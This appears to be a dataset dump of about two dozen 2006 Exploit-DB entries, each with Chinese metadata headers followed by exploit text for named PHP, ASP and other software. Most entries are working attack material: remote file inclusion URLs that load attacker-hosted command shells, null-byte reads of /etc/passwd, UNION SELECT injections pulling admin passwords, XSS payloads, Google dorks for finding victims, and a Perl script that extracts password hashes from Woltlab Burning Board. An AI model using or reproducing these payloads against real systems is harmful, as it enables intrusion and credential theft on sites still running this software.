QLWD/code_shield huggingface dataset:
标题: tinyBB 0.3 - Remote File Inclusion / SQL Injection EDB-ID: 1839 CVE: 2006-2740 2006-2739 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-28 漏洞利用脚本: tinyBB <= 0.3 Multiple Remote Vulnerabilities
Method found by nukedx,
Contacts > ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: www.nukedx.com
This exploits works on tinyBB <= 0.3
Original advisory can be found at: http://www.nukedx.com/?viewdoc=33
http://[victim]/[tBBPath]/footers.php?tinybb_footers=http://yourhost.com/cmd.txt?
http://[victim]/[tBBPath]/footers.php?tinybb_footers=/etc/passwd%00
SQL injection on login.php
http://[victim]/[tBBPath]/login.php?username=heh/**/or/**/isnull(1/0)/*&password=nothing
# nukedx.com [2006-05-27]

# milw0rm.com [2006-05-28] URL: https://www.exploit-db.com/exploits/1839
标题: Enigma Haber 4.3 - Multiple SQL Injections EDB-ID: 1840 CVE: 2006-2731 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-28 漏洞利用脚本: Enigma Haber <= 4.3 Multiple Remote SQL Injection Vulnerabilities
Contacts > ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: www.nukedx.com
This exploits works on Enigma Haber <= 4.3
Original advisory can be found at: http://www.nukedx.com/?viewdoc=34
http://[site]/enigmadir/e_mesaj_yaz.asp?id=1879586820+UNION+SELECT+0,sifre,2,3,4,5,6,7,8,9,10,110,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+yonet+where+yonetid=1144931586
http://[site]/enigmadir/yazdir.asp?hid=SQL
http://[site]/enigmadir/yorum.asp?hid=SQL
http://[site]/enigmadir/edi_haber.asp?id=SQL&tur=1
http://[site]/enigmadir/ara.asp?yo=1&ara=SQL&ko=0&k=0&d=hid&e=desc&ay=00&yil=00
http://[site]/enigmadir/arsiv.asp?d=hid&e=desc+UNION+SELECT+0,sifre,isim,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+FROM+yonet+where+yonetid%20like%201144927664&ay=00&yil=00&e_kad=00
http://[site]/enigmadir/haber_devam.asp?id=SQL
Examples in the below needs admin rights.
http://[site]/enigmadir/admin/y_admin.asp?yid=SQL
http://[site]/enigmadir/admin/y_admin.asp?yid=34+UNION+SELECT+0,1,mail,3,4,5,sifre,isim,8,9,sehir+from+yonet+where+yonetid=1144927664
http://[site]/enigmadir/admin/reklam_detay.asp?bid=SQL
http://[site]/enigmadir/admin/detay_yorum.asp?hid=SQL
http://[site]/enigmadir/admin/haber_sil.asp?hid=SQL
http://[site]/enigmadir/admin/kategori_d.asp?o=1&kid=SQL
http://[site]/enigmadir/admin/haber_ekle.asp?tur=SQL
http://[site]/enigmadir/admin/e_mesaj_yaz.asp?s=SQL
http://[site]/enigmadir/admin/admin_sil.asp?id=SQL

# nukedx.com [2006-05-27]

# milw0rm.com [2006-05-28] URL: https://www.exploit-db.com/exploits/1840
标题: Hot Open Tickets 11012004 - 'CLASS_PATH' Remote File Inclusion EDB-ID: 1835 CVE: 2006-2730 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-27 漏洞利用脚本: ################# DEVIL TEAM THE BEST POLISH TEAM ##################
#
#   HOT [(Hot Open Tickets) (hot_11012004_ver2f)] - Remote File Include Vulnerabilities
#   Find by Kacper (Rahim).
#   Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
#   Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#   Site scripts: http://hotopentickets.sourceforge.net
#
####################################################################
*/ lib_action_step.php: Line(1-4)

   include ($GLOBALS["CLASS_PATH"]."/User_list_class.php");
   function print_action_list($a)
   {

/*
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Expl:

http://www.site.com/[hot_path]/admin/lib_action_step.php?GLOBALS[CLASS_PATH]=[evil_scripts]

#Elo ;-)

# milw0rm.com [2006-05-27] URL: https://www.exploit-db.com/exploits/1835
标题: Easy-Content Forums 1.0 - Multiple SQL Injection / Cross-Site Scripting Vulnerabilities EDB-ID: 1834 CVE: 2006-2697 2006-2696 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-26 漏洞利用脚本: ENGLISH
# Title  :   Easy-Content Forums 1.0 Multiple SQL/XSS Vulnerabilities
# Dork   :   "Copyright 2004 easy-content forums"
# Author :   ajann
# Exploit;

SQL INJECT.ON--------------------------------------------------------
###  http://[target]/[path]/userview.asp?startletter=SQL TEXT
###  http://[target]/[path]/topics.asp?catid=1'SQL TEXT =>catid=x

Example:
http://[target]/[path]/topics.asp?catid=1 union+select+0,password,0,0,0,0,0,0,0,0+from+tbl_forum_users

XSS--------------------------------------------------------
###  http://[target]/[path]/userview.asp?startletter=xss TEXT
### http://[target]/[path]/topics.asp?catid=30&forumname=XSS TEXT

Example:
http://[target]/[path]/topics.asp?catid=30&forumname=%22%3E%3Cscript%3Ealert%28%27X%27%29%3B%3C%2Fscript%3E%22%3E%3Cscript%3Ealert%28%27X%27%29%3B%3C%2Fscript%3E == X




TURKISH
# Ba.l.k          :   Easy-Content Forums 1.0 Multiple SQL/XSS Vulnerabilities
# Sözcük[Arama]   :   "powered by phpmydirectory"
# Aç... Bulan     :   ajann
# Aç.k bulunan dosyalar;

SQL INJECT.ON--------------------------------------------------------
###  http://[target]/[path]/userview.asp?startletter=SQL SORGUNUZ
###  http://[target]/[path]/topics.asp?catid=1'SQL SORGUNUZ =>catid=De.i.ken

Örnek:
http://[target]/[path]/topics.asp?catid=1 union+select+0,password,0,0,0,0,0,0,0,0+from+tbl_forum_users

XSS--------------------------------------------------------

###  http://[target]/[path]/userview.asp?startletter=XSS KODLARINIZ
### http://[target]/[path]/topics.asp?catid=30&forumname=XSS KODLARINIZ

Örnek:
http://[target]/[path]/topics.asp?catid=30&forumname=%22%3E%3Cscript%3Ealert%28%27X%27%29%3B%3C%2Fscript%3E%22%3E%3Cscript%3Ealert%28%27X%27%29%3B%3C%2Fscript%3E Ekrana X uyar.s. c.kar.cakt.r.

Ac.klama:
userview.asp , topics.asp dosyalar.nda bulunan filtreleme eksikli.i nedeniyle sql sorgu cal.st.r.labilmektedir.
userview.asp , topics.asp dosyalar.nda bulunan filtreleme eksikli.i nedeniyle xss kodlar. cal.sabilmektedir.

# milw0rm.com [2006-05-26] URL: https://www.exploit-db.com/exploits/1834
标题: Microsoft Internet Explorer - HTML Tag Memory Corruption (MS06-013) EDB-ID: 1838 CVE: 2006-1388 2006-1359 2006-1245 2006-1192 2006-1191 2006-1190 2006-1189 2006-1188 2006-1186 2006-1185 类型: DOS 平台: WINDOWS 发布日期: 2006-05-27 漏洞利用脚本: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"     
     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>  <fieldset>    <h4>
<pre><td>
<menu>
<legend>
<a>
<ul>
<small>
<fieldset>
<h6>
</h6
></u>
</optgroup>
</tr>
</map>
</ul
></dfn>

</del>
</h2>
</dir>
</ul>
# milw0rm.com [2006-05-27] URL: https://www.exploit-db.com/exploits/1838
标题: Plume CMS 1.0.3 - 'manager_path' Remote File Inclusion EDB-ID: 1832 CVE: 2006-2645 2006-0725 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-26 漏洞利用脚本: Vendor: Plume CMS http://plume-cms.net
Vuln: Remote File Include
Discovered: beford <xbefordx gmail com>

Vulnerable File/Code

./plume-1.0.3/manager/frontinc/prepend.php

[code]
include_once $_PX_config['manager_path'].'/conf/config.php';
[/code]

http://urlanda.org/manager/frontinc/prepend.php?_PX_config[manager_path]=http://leet

# milw0rm.com [2006-05-26] URL: https://www.exploit-db.com/exploits/1832
标题: Back-End CMS 0.7.2.2 - 'BE_config.php' Remote File Inclusion EDB-ID: 1825 CVE: 2006-2682 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-25 漏洞利用脚本: ################# DEVIL TEAM THE BEST POLISH TEAM ##################
#
#   Back-End CMS - Remote File Include Vulnerabilities
#   Find by Kacper (Rahim).
#   Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
#   Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#   Site of script: http://www.back-end.org
#
####################################################################
*/

BE_config.php Line 27-31:

[code]
...
  // Script timer
  require_once($_PSL['classdir'] . '/BE_phpTimer.class');
  $scriptTimer = & pslSingleton('phpTimer');
  $scriptTimer->start('main');
  /* Use Example
...
[/code]


/*

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://www.site.com/[Back-End_path]/BE_config.php?_PSL[classdir]=[evil_scripts]

#Elo ;-)

# milw0rm.com [2006-05-25] URL: https://www.exploit-db.com/exploits/1825
标题: Socketmail 2.2.6 - 'site_path' Remote File Inclusion EDB-ID: 1826 CVE: 2006-2681 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-25 漏洞利用脚本: Title: Socketmail <= 2.2.6 - Remote File Include Vulnerability
-----------------------------------------------------------------
Vendor: Creative Digital Resources
URL: http://socketmail.com
-----------------------------------------------------------------

Credits:
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
-----------------------------------------------------------------
Search for: "Powered by SocketMail"
-----------------------------------------------------------------

Exploitation(tested with Lite-Edition and Pro-Edition):

/index.php?site_path=http://www.yourspace.com/yourscript.php?

# milw0rm.com [2006-05-25] URL: https://www.exploit-db.com/exploits/1826
标题: V-Webmail 1.6.4 - 'pear_dir' Remote File Inclusion EDB-ID: 1827 CVE: 2006-2666 2006-2665 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-25 漏洞利用脚本: Script: V-Webmail 1.6.4
Vendor: http://www.v-webmail.org/
Description: V-webmail is a powerful PHP based webmail application with an
abundance of features, including many innovative ideas for web applications
Discovered: beford <xbefordx gmail com>
Vulnerable File

v-webmail/includes/pear/*/*.php => require_once ($CONFIG['pear_dir'] . '*.php');
v-webmail/includes/mailaccess/pop3.php =>
require_once($CONFIG['pear_dir'] . 'Net/POP3.php');

Version 1.3
http://www.site.th/vwebmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=http://evil
http://www.woot.com.kh/webmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=http://evil

Version 1.5  - 1.6.4
http://something.ie/v-webmail/includes/mailaccess/pop3.php?CONFIG[pear_dir]=http://evil

# milw0rm.com [2006-05-25] URL: https://www.exploit-db.com/exploits/1827
标题: qjForum - 'member.asp' SQL Injection EDB-ID: 1833 CVE: 2006-2638 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-26 漏洞利用脚本: # Title  :   qjForum(member.asp) SQL Injection Vulnerability
# Author :   ajann
# greetz :   Nukedx,TheHacker
# Dork   :   "qjForum"
# Exploit:

# Login before injection.

### http://target/[path]/member.asp?uName='union%20select%200,0,0,username,0,0,pd,email,0,0,0,0,0,0,0,0,0,0,0,0%20from%20member

# milw0rm.com [2006-05-26] URL: https://www.exploit-db.com/exploits/1833
标题: tiffsplit (libtiff 3.8.2) - Local Stack Buffer Overflow EDB-ID: 1831 CVE: 2006-2656 类型: LOCAL 平台: LINUX 发布日期: 2006-05-26 漏洞利用脚本: # tiffsplit (libtiff <= 3.8.2) local stack buffer overflow PoC

tiffsplit from libtiff (http://www.remotesensing.org/libtiff/)
is vulnerable to a bss-based and stack-based overflow, but, I just
wrote the concept c0de for stack-based b0f 'cause I don't know how
to take advantage of the overwritten bss data (after the overflow,
that data is overwritten again correctly by a program' function).

.bss section is in higher addresses than .dtors section, so, we
can't hijack .dtors to....

PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1831.tar.gz (05262006-tiffspl33t.tar.gz)

nitr0us <nitrousenador[at]gmail[dot]com>

# milw0rm.com [2006-05-26] URL: https://www.exploit-db.com/exploits/1831
标题: DoceboLms 2.0.5 - 'help.php' Remote File Inclusion EDB-ID: 1828 CVE: 2006-2668 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-25 漏洞利用脚本: Vulnerable Script: Docebo LMS 2.05
Discovered: beford <xbefordx gmail com>

Noobs: %22Based+on+DoceboLMS+2.0%22

Vulnerable Files

doceboLMS205/modules/credits/business.php =>
include($_GET['lang'].'/language.php');

doceboLMS205/modules/credits/credits.php =>
include($_GET['lang'].'/language.php');

doceboLMS205/modules/credits/help.php => include($_GET['lang'].'/language.php');

http://www.oops.org/DOCEBO205/modules/credits/help.php?lang=http://<evilh4x0rscript>/?

# milw0rm.com [2006-05-25] URL: https://www.exploit-db.com/exploits/1828
标题: netPanzer 0.8 rev 952 - 'frameNum' Server Terminiation EDB-ID: 1820 CVE: 2006-2575 类型: DOS 平台: MULTIPLE 发布日期: 2006-05-23 漏洞利用脚本: # netPanzer 0.8 rev 952 (frameNum) Server Terminiation Exploit

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1820.zip (05232006-panza.zip)

# milw0rm.com [2006-05-23] URL: https://www.exploit-db.com/exploits/1820
标题: BASE 1.2.4 - melissa Snort Frontend Remote File Inclusion EDB-ID: 1823 CVE: 2006-2685 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-25 漏洞利用脚本: # Basic Analysis and Security Engine (BASE) <= 1.2.4 (melissa) Inclusion Vulnerabilities
#   Just glanced over BASE for a pentesting job. /str0ke ! milw0rm.com
##################################

[code (base_qry_common.php)]
   include_once("$BASE_path/includes/base_signature.inc.php");
[/code]

http://[site]/snort/base_qry_common.php?BASE_path=http://www.milw0rm.com/index.php?&

########################################

[code (base_stat_common.php)]
   include_once("$BASE_path/includes/base_constants.inc.php");
[/code]

http://[site]/snort/base_stat_common.php?BASE_path=http://www.milw0rm.com/index.php?&

###############################################

[code (includes/base_include.inc.php)]
   include_once("$BASE_path/includes/base_db.inc.php");
   include_once("$BASE_path/includes/base_output_html.inc.php");
   include_once("$BASE_path/includes/base_state_common.inc.php");
   ...
[/code]

http://[site]/snort/includes/base_include.inc.php?BASE_path=http://www.milw0rm.com/index.php?&

#######################################################

# milw0rm.com [2006-05-25] URL: https://www.exploit-db.com/exploits/1823
标题: Woltlab Burning Board 2.3.5 - 'links.php' SQL Injection EDB-ID: 1810 CVE: 2006-2569 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-20 漏洞利用脚本: #!/usr/bin/perl

use IO::Socket;

print q{
################################################################################
##                                                                            ##
##  Woltlab Burning Board 2.3.4 <= "links.php" SQL Injection Exploit          ##
##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##
##  Exploit by       |  666 (SR-Crew)                                         ##
##  Bug by           |  x82                                                   ##
##  Googledork       |  inurl:/wbb2/links.php?cat                             ##
##  Usage            |  links.pl [server] [path]                              ##
##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##
##                                                                            ##
################################################################################

};

$webpage = $ARGV[0];
$directory = $ARGV[1];

if (!$webpage||!$directory) { die "[+] Exploit failed\n"; }

$wbb_dir = 
"http://".$webpage.$directory."links.php?cat=31337+union+select+password,userid+from+bb1_users";

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage", 
PeerPort=>"80") || die "[+] Can't connect to Server\n";
print "[+] Exploiting....\n";
print $sock "GET $wbb_dir HTTP/1.1\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: Hacker\n";
print $sock "Host: $webpage\n";
print $sock "Connection: close\n\n";

while ($answer = <$sock>) {
 if ($answer =~ 
/(................................)<\/span><\/b><\/font>/) {
  print "[+] Hash: $1\n";
  exit();
 }
 if ($answer =~ /SQL-DATABASE ERROR/) {
  break;
 }
}

$wbb_dir = 
"http://".$webpage.$directory."links.php?cat=31337+union+select+password,userid+from+bb1_users";
close($sock);

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage", 
PeerPort=>"80") || die "[+] Can't connect to Server\n";
print $sock "GET $wbb_dir HTTP/1.1\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: Hacker\n";
print $sock "Host: $webpage\n";
print $sock "Connection: close\n\n";

while ($answer = <$sock>) {
 if ($answer =~ 
/(................................)<\/span><\/b><\/font>/) {
  print "[+] Hash: $1\n";
  exit();
 }
 if ($answer =~ /SQL-DATABASE ERROR/) {
  print "[+] Try replacing bb1_users with bb2_users\n";
  break;
 }
}
close($sock);

print "[+] Exploit failed\n";

# milw0rm.com [2006-05-20] URL: https://www.exploit-db.com/exploits/1810
标题: Docebo 3.0.3 - Multiple Remote File Inclusions EDB-ID: 1817 CVE: 2006-2577 2006-2576 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-23 漏洞利用脚本: ################ DEVIL TEAM THE BEST POLISH TEAM #################
#Docebo 3.0.3/DoceboCMS,DoceboKms,DoceboLms,DoceboCore,DoceboScs - Remote File Include Vulnerabilities
#Find by Kacper (Rahim).
#Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
#Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
####################################################################
#Docebo Site: http://www.docebocms.org
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
In All scripts:
[code]
require_once($GLOBALS['where_framework'].'/lib/lib.permission.php');
require_once($GLOBALS['where_framework'].'/lib/lib.pagewriter.php');
require_once($GLOBALS['where_framework'].'/lib/lib.lang.php');
require_once($GLOBALS['where_framework'].'/lib/lib.template.php');
require_once($GLOBALS['where_framework'].'/lib/lib.mimetype.php');
[/code]

#DoceboCMS:

http://www.site.com/docebocms/lib/lib.simplesel.php?GLOBALS[where_framework]=[evil_code]

#DoceboKms:

http://www.site.com/doceboKms/modules/documents/lib.filelist.php?GLOBALS[where_framework]=[evil_code]

http://www.site.com/doceboKms/modules/documents/tree.documents.php?GLOBALS[where_framework]=[evil_code]

#DoceboLms:

http://www.site.com/doceboLms/lib/lib.repo.php?GLOBALS[where_framework]=[evil_code]

#DoceboCore:

http://www.site.com/doceboCore/lib/lib.php?GLOBALS[where_framework]=[evil_code]

#DoceboScs:

http://www.site.com/doceboScs/lib/lib.teleskill.php?GLOBALS[where_scs]=[evil_code]

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#The End ;-)
#Pozdro Dla wszystkich o których zapomnia.em ;-)

# milw0rm.com [2006-05-23] URL: https://www.exploit-db.com/exploits/1817
标题: CaLogic Calendars 1.2.2 - 'CLPath' Remote File Inclusion EDB-ID: 1809 CVE: 2006-2570 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-20 漏洞利用脚本: ################ DEVIL TEAM THE BEST POLISH TEAM #################
#CaLogic Calendars V1.2.2 - Remote File Include
#Find by Kacper (Rahim).
#Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
#Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
#dork: CaLogic Calendars V1.2.2
##################################################################
reconfig.php:
[code]
include_once("./include/config.php");
include_once($GLOBALS["CLPath"]."/classes/session.php");
include_once($GLOBALS["CLPath"]."/include/gfunc.php");
include_once($GLOBALS["CLPath"]."/classes/calogicautomation.php");
[/code]

http://site.com/[path]/reconfig.php?GLOBALS[CLPath]=[evil_script]


srxclr.php:
[code]
include_once("./include/config.php");
include_once($GLOBALS["CLPath"]."/include/calfunc.php");
include_once($GLOBALS["CLPath"]."/include/gfunc.php");
include_once($GLOBALS["CLPath"]."/include/efuncs.php");
[/code]

http://site.com/[path]/srxclr.php?GLOBALS[CLPath]=[evil_script]

#pozdro :)

# milw0rm.com [2006-05-20] URL: https://www.exploit-db.com/exploits/1809
标题: phpCommunityCalendar 4.0.3 - Cross-Site Scripting / SQL Injection EDB-ID: 1818 CVE: 2006-2798 2006-2797 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-23 漏洞利用脚本: ##################################################################################
#<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<#
##################################################################################
#           #
#  phpCommunityCalendar 4.0.3 Multiple Vulnerabilites           #
#           #
##################################################################################
#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>#
##################################################################################
#           #
#  author      : X0r_1           #
#  release     : 23.05.06        #
#  software    : http://www.appideas.com/        #
#  googledork  : "Calendar programming by AppIdeas.com" filetype:php      #
#           #
##################################################################################

XSS:

http://[SERVER]/[PATH]/week.php?LoName=<script>alert('XSS')</script>

http://[SERVER]/[PATH]/month.php?LoName=<script>alert('XSS')</script>

http://[SERVER]/[PATH]/event.php?AddressLink="><script>alert('XSS')</script><"


SQL Injections:

http://[SERVER]/[PATH]/month.php?query=CalendarDetailsID=-1) UNION SELECT Password,0 FROM phpcalendar_adminusers WHERE AdminUserID = 1/*

http://[SERVER]/[PATH]/day.php?query=CalendarDetailsID=-1) UNION SELECT Password,0 FROM phpcalendar_adminusers WHERE AdminUserID = 1/*

http://[SERVER]/[PATH]/event.php?ID=(1=1) [SQL]

http://[SERVER]/[PATH]/admin/delCalendar.php?CalendarDetailsID=x'[SQL]

http://[SERVER]/[PATH]/admin/delAdmin.php?AdminUserID=x' [SQL]

http://[SERVER]/[PATH]/admin/delAddress.php?EventLocationID=x' [SQL]

http://[SERVER]/[PATH]/admin/delCategory.php?LocationID=x' [SQL]

# milw0rm.com [2006-05-23] URL: https://www.exploit-db.com/exploits/1818
标题: open-medium.CMS 0.25 - '404.php' Remote File Inclusion EDB-ID: 1824 CVE: 2006-2683 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-25 漏洞利用脚本: ################ DEVIL TEAM THE BEST POLISH TEAM #################
#open-medium (0.25) - Content Management System - Remote File Include Vulnerabilities
#Find by Kacper (Rahim).
#Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
#Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
##################################################################
[code]
404.php:

.......

} else {
// templates verwenden
if
(!@include($REDSYS["MYPATH"]["TEMPLATES"]."/redsys".$REDSYS["LanguagePath"]."/404.tmp"))
{
include($REDSYS["MYPATH"]["TEMPLATES"]."/redsys/404.tmp");
}
}

?>

[/code]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://www.site.com/[open-mediumCMS_path]/redsys/404.php?REDSYS[MYPATH][TEMPLATES]=[evil_scripts]


###################################################################
#Elo ;-)

# milw0rm.com [2006-05-25] URL: https://www.exploit-db.com/exploits/1824
标题: UBBCentral UBB.Threads 6.4.x < 6.5.2 - 'thispath' Remote File Inclusion EDB-ID: 1814 CVE: 2006-2568 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-22 漏洞利用脚本: Anomaly 1n The System presents
UBB.threads >= 6.4.x Remote File Inclusion
 
founded by V4mu in 04/20/2006

URL: http://www.ubbcentral.com
Google dork: allinurl:"/ubbthreads/"

exploit:
/addpost_newpoll.php?addpoll=preview&thispath=http://[attacker]/cmd.gif?&cmd=id
 
contact: irc.gigachat.net #A1TS

# milw0rm.com [2006-05-22] URL: https://www.exploit-db.com/exploits/1814
标题: Quezza BB 1.0 - 'quezza_root_path' File Inclusion EDB-ID: 1798 CVE: 2006-2485 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-17 漏洞利用脚本: Quezza BB <= 1.0 (quezza_root_path) File Inclusion Vulnerability.
Method found by nukedx,
Contacts > ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: www.nukedx.com
This exploit works on Quezza BB <= 1.0
Original advisory can be found at: http://www.nukedx.com/?viewdoc=30
http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_path=http://yourhost.com/cmd.txt?
http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_path=/etc/passwd%00
Succesful exploitation register_globals on for both examples.
# nukedx.com [2006-04-21]

# milw0rm.com [2006-05-17] URL: https://www.exploit-db.com/exploits/1798
标题: phpMyDirectory 10.4.4 - 'ROOT_PATH' Remote File Inclusion EDB-ID: 1808 CVE: 2006-2521 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-19 漏洞利用脚本: Title       : phpMyDirectory <= 10.4.4 Remote File Inclusion Vulnerability
-
URL         : http://www.phpmydirectory.com/
-
Dork        : "powered by phpmydirectory" or intext:"2001-2006 phpMyDirectory.com"
-
Author      : OLiBekaS
-
contact     : olibekas[at]gmail.com
-
greetz      : Renzokuzen, Skulmatic, weleh, brokencode, bigmaster and all #papmahackerlink crew
-
Exploit     : http://[target]/[path]/cron.php?ROOT_PATH=http://[attacker]/cmd.txt?&cmd=ls

# milw0rm.com [2006-05-19] URL: https://www.exploit-db.com/exploits/1808
标题: libextractor 0.5.13 - Multiple Heap Overflows (PoC) EDB-ID: 1801 CVE: 2006-2458 类型: DOS 平台: MULTIPLE 发布日期: 2006-05-17 漏洞利用脚本: # libextractor <= 0.5.13 Multiple Heap Overflow PoC Exploits

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1801.zip   (05172006-libextho.zip)

# milw0rm.com [2006-05-17] URL: https://www.exploit-db.com/exploits/1801